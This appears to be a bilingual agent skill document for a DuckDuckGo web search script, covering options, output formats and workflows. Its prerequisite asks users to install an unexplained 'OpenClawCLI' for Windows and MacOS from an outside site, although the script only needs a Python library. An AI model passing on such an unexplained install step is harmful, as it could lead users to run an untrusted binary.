Web Search Hub
Search the web using DuckDuckGo's API. Supports web pages, news articles, images, and videos with customizable filtering and output formats.
⚠️ Prerequisite: Install OpenClawCLI (Windows, MacOS) and run INLINECODE0
Installation Best Practices:
- - If you encounter permission errors, use a virtual environment instead of system-wide installation
- For virtual environment: INLINECODE1
- Never use
--break-system-packages as it can damage your system's Python installation
Quick Reference
| Task | Command |
|---|
| Basic web search | INLINECODE3 |
| Recent news |
python scripts/search.py "topic" --type news --time-range w |
| Find images |
python scripts/search.py "subject" --type images |
| Find videos |
python scripts/search.py "tutorial" --type videos |
| Save results |
python scripts/search.py "query" --output file.txt |
| JSON output |
python scripts/search.py "query" --format json |
Core Search Types
Web Search (Default)
Returns web pages with titles, URLs, and descriptions.
CODEBLOCK0
News Search
Returns articles with source, date, and summary.
CODEBLOCK1
Image Search
Returns images with URLs, thumbnails, dimensions, and source.
CODEBLOCK2
Video Search
Returns videos with title, publisher, duration, date, and URL.
CODEBLOCK3
Essential Options
Result Count
CODEBLOCK4
Examples:
CODEBLOCK5
Time Filtering
CODEBLOCK6
Examples:
CODEBLOCK7
Region Selection
CODEBLOCK8
Common codes: us-en, uk-en, ca-en, au-en, de-de, INLINECODE14
Example:
CODEBLOCK9
Safe Search
CODEBLOCK10
Example:
python scripts/search.py "medical information" --safe-search on
Output Formats
Text (Default)
Clean, numbered results with URLs and descriptions.
CODEBLOCK12
Output:
CODEBLOCK13
Markdown
Formatted with headers, bold, and links.
CODEBLOCK14
Output:
CODEBLOCK15
JSON
Structured data for programmatic processing.
CODEBLOCK16
Output:
CODEBLOCK17
Save to File
CODEBLOCK18
Examples:
python scripts/search.py "AI trends" --output results.txt
python scripts/search.py "news" --type news --format markdown --output news.md
python scripts/search.py "data" --format json --output data.json
Image Search Filters
Size
CODEBLOCK20
Example:
CODEBLOCK21
Color
CODEBLOCK22
Example:
CODEBLOCK23
Type
CODEBLOCK24
Example:
CODEBLOCK25
Layout
CODEBLOCK26
Example:
python scripts/search.py "wallpaper" --type images --image-layout Wide
Video Search Filters
Duration
CODEBLOCK28
Example:
CODEBLOCK29
Resolution
CODEBLOCK30
Example:
python scripts/search.py "tutorial" --type videos --video-resolution high
Common Workflows
Research a Topic
Gather comprehensive information across multiple search types:
CODEBLOCK32
Track Current Events
Monitor breaking news on specific topics:
CODEBLOCK33
Find Visual Resources
Search for images with specific requirements:
CODEBLOCK34
Fact-Check Information
Verify claims with recent sources:
CODEBLOCK35
Market Research
Gather business intelligence:
CODEBLOCK36
Academic Research
Find scholarly resources:
CODEBLOCK37
Implementation Guidelines
When users request web searches, follow this approach:
1. Identify Intent
- - What content type? (web, news, images, videos)
- How recent? (use
--time-range for current info) - How many results? (adjust
--max-results) - Any special filters? (size, color, duration, etc.)
2. Configure Search
CODEBLOCK38
3. Choose Format
- - Text: Quick reading, immediate review
- Markdown: Documentation, formatted reports
- JSON: Further processing, automation
4. Execute and Process
# Run search
python scripts/search.py "query" [options] --output results.txt
# Read results if needed
cat results.txt
# Extract URLs or combine multiple searches
Best Practices
Search Strategy
- 1. Start specific - Use clear, targeted queries
- Use time filters - Apply
--time-range for current topics - Adjust result count - Start with 10-20, increase if needed
- Choose right type - News for current events, web for general info
Output Management
- 1. Save important searches - Use
--output to preserve results - Use appropriate format - JSON for automation, markdown for docs
- Organize files - Create folders for multi-search research
API Usage
- 1. Avoid rapid requests - Space out searches to prevent rate limiting
- Be efficient - Use filters to get better results with fewer searches
- Respect limits - Don't hammer the API unnecessarily
Troubleshooting
Installation Issues
"Missing required dependency"
CODEBLOCK40
Important: Never use --break-system-packages flag as it can corrupt your system's Python installation. Always use virtual environments for isolated package management.
"OpenClawCLI not found"
- - Download from https://clawhub.ai/
- Install for your OS (Windows/MacOS)
- Verify installation: INLINECODE20
Search Issues
"No results found"
- - Broaden search terms
- Remove time filters
- Try different query phrasing
"Timeout errors"
- - DuckDuckGo service may be temporarily unavailable
- Wait a moment and retry
- Check internet connection
"Unexpected results"
- - DuckDuckGo results differ from Google
- Refine query with more specific terms
- Try adding context to the query
Rate Limiting
"Too many requests"
- - Space out searches (wait 1-2 seconds between requests)
- Reduce frequency if making automated searches
- Consider batching queries instead of individual requests
Advanced Usage
Combining Multiple Searches
Build comprehensive research by combining search types:
CODEBLOCK41
Programmatic Processing
Use JSON for automated workflows:
CODEBLOCK42
Building Knowledge Bases
Create searchable documentation:
CODEBLOCK43
Limitations
Search Capabilities
- - Results depend on DuckDuckGo's index (may differ from Google)
- No advanced operators (no
site:, filetype:, etc.) - Image/video results may be limited compared to web search
- No control over ranking algorithms
Content Access
- - Cannot access paywalled content
- Some sites may block DuckDuckGo crawler
- Dynamic JavaScript content may not be indexed
- Real-time data may have slight delays
API Constraints
- - Rate limiting applies to prevent abuse
- No guaranteed uptime or availability
- Results may vary by region and time
- Some queries may be filtered for safety
Complete Command Reference
CODEBLOCK44
Examples by Use Case
Quick Searches
CODEBLOCK45
Current Events
CODEBLOCK46
Visual Content
CODEBLOCK47
Video Content
CODEBLOCK48
Saved Research
# Create research report
python scripts/search.py "climate change solutions" --max-results 30 --format markdown --output climate_report.md
# Gather news archive
python scripts/search.py "tech industry" --type news --time-range m --format json --output tech_news.json
Support
For issues or questions:
- 1. Check this documentation for solutions
- Run
python scripts/search.py --help for command-line help - Verify OpenClawCLI installation at https://clawhub.ai/
- Ensure
duckduckgo-search library is installed
Key Resources:
- - OpenClawCLI: https://clawhub.ai/
- DuckDuckGo Search Library: https://pypi.org/project/duckduckgo-search/
Web Search Hub
使用DuckDuckGo的API搜索网络。支持网页、新闻文章、图片和视频,并提供可自定义的筛选和输出格式。
⚠️ 前提条件: 安装 OpenClawCLI(Windows、MacOS)并运行 pip install duckduckgo-search
安装最佳实践:
- - 如果遇到权限错误,请使用虚拟环境而非系统级安装
- 对于虚拟环境:python -m venv venv && source venv/bin/activate && pip install duckduckgo-search
- 切勿使用 --break-system-packages,因为它可能损坏系统的Python安装
快速参考
| 任务 | 命令 |
|---|
| 基本网页搜索 | python scripts/search.py 查询词 |
| 近期新闻 |
python scripts/search.py 主题 --type news --time-range w |
| 查找图片 | python scripts/search.py 主题 --type images |
| 查找视频 | python scripts/search.py 教程 --type videos |
| 保存结果 | python scripts/search.py 查询词 --output file.txt |
| JSON输出 | python scripts/search.py 查询词 --format json |
核心搜索类型
网页搜索(默认)
返回包含标题、URL和描述的网页。
bash
python scripts/search.py 量子计算
python scripts/search.py python asyncio 教程 --max-results 20
新闻搜索
返回包含来源、日期和摘要的文章。
bash
python scripts/search.py 气候峰会 --type news
python scripts/search.py AI 监管 --type news --time-range d
图片搜索
返回包含URL、缩略图、尺寸和来源的图片。
bash
python scripts/search.py 山间日落 --type images
python scripts/search.py 抽象艺术 --type images --image-color Blue
视频搜索
返回包含标题、发布者、时长、日期和URL的视频。
bash
python scripts/search.py 烹饪教程 --type videos
python scripts/search.py 纪录片 --type videos --video-duration long
基本选项
结果数量
bash
--max-results N # 默认:10,范围:1-无限制
示例:
bash
python scripts/search.py 机器学习 --max-results 5 # 快速概览
python scripts/search.py 研究主题 --max-results 30 # 全面搜索
时间筛选
bash
--time-range
d = 过去一天
w = 过去一周
m = 过去一个月
y = 过去一年
示例:
bash
python scripts/search.py 科技新闻 --time-range d # 今日新闻
python scripts/search.py 研究论文 --time-range y # 近期出版物
地区选择
bash
--region <代码> # 默认:wt-wt(全球)
常用代码: us-en、uk-en、ca-en、au-en、de-de、fr-fr
示例:
bash
python scripts/search.py 本地活动 --region us-en --type news
安全搜索
bash
--safe-search # 默认:moderate
示例:
bash
python scripts/search.py 医疗信息 --safe-search on
输出格式
文本(默认)
清晰、编号的结果,包含URL和描述。
bash
python scripts/search.py 主题
输出:
- 1. 页面标题
URL: https://example.com
描述文本...
- 2. 下一个结果
URL: https://example.com/page
描述文本...
Markdown
使用标题、粗体和链接进行格式化。
bash
python scripts/search.py 主题 --format markdown
输出:
markdown
1. 页面标题
URL: https://example.com
描述文本...
JSON
用于程序化处理的结构化数据。
bash
python scripts/search.py 主题 --format json
输出:
json
[
{
title: 页面标题,
href: https://example.com,
body: 描述文本...
}
]
保存到文件
bash
--output <文件路径>
示例:
bash
python scripts/search.py AI 趋势 --output results.txt
python scripts/search.py 新闻 --type news --format markdown --output news.md
python scripts/search.py 数据 --format json --output data.json
图片搜索筛选
尺寸
bash
--image-size
示例:
bash
python scripts/search.py 风景 --type images --image-size Large
颜色
bash
--image-color <颜色|Monochrome|Red|Orange|Yellow|Green|Blue|Purple|Pink|Brown|Black|Gray|Teal|White>
示例:
bash
python scripts/search.py 抽象艺术 --type images --image-color Blue
类型
bash
--image-type
示例:
bash
python scripts/search.py 图标 --type images --image-type transparent
布局
bash
--image-layout
示例:
bash
python scripts/search.py 壁纸 --type images --image-layout Wide
视频搜索筛选
时长
bash
--video-duration
示例:
bash
python scripts/search.py 食谱 --type videos --video-duration short
分辨率
bash
--video-resolution
示例:
bash
python scripts/search.py 教程 --type videos --video-resolution high
常见工作流程
研究一个主题
跨多种搜索类型收集全面信息:
bash
网页概览
python scripts/search.py 机器学习 --max-results 15 --output ml_web.txt
近期新闻
python scripts/search.py 机器学习 --type news --time-range m --output ml_news.txt
教程视频
python scripts/search.py 机器学习教程 --type videos --output ml_videos.txt
视觉示例
python scripts/search.py 机器学习图表 --type images --max-results 20 --output ml_images.txt
跟踪时事
监控特定主题的突发新闻:
bash
python scripts/search.py 选举结果 --type news --time-range d --format markdown --output daily_news.md
查找视觉资源
搜索具有特定要求的图片:
bash
python scripts/search.py 数据可视化 --type images --image-type photo --image-size Large --max-results 30 --output viz_images.txt
事实核查
使用近期来源验证声明:
bash
python scripts/search.py 待验证声明 --time-range w --max-results 20 --output verification.txt
市场研究
收集商业情报:
bash
python scripts/search.py 电动汽车市场 2025 --max-results 25 --output market_overview.txt
python scripts/search.py EV 行业 --type news --time-range m --output market_news.txt
学术研究
查找学术资源:
bash
python scripts/search.py 量子纠缠 --time-range y --max-results 30 --format markdown --output research.md
实施指南
当用户请求网页搜索时,请遵循以下方法:
1. 识别意图
- - 什么内容类型?(网页、新闻、图片、视频)
- 多近期?(使用 --time-range 获取当前信息)
- 需要多少结果?(调整 --max-results)
- 是否有特殊筛选条件?(尺寸、颜色、时长等)
2. 配置搜索
bash
python scripts/search.py 查询词 \
--type \
--max-results \
--time-range \
[附加筛选条件]
3. 选择格式
- - 文本: 快速阅读,即时查看
- Markdown: 文档,格式化报告
- JSON: 进一步处理,自动化
4. 执行和处理
bash
运行搜索
python scripts/search.py 查询词 [选项] --output results.txt
如果需要,读取结果
cat results.txt
提取URL或组合多个搜索
最佳实践
搜索策略
- 1. 从具体开始 - 使用清晰、有针对性的查询
- 使用时间筛选 - 对当前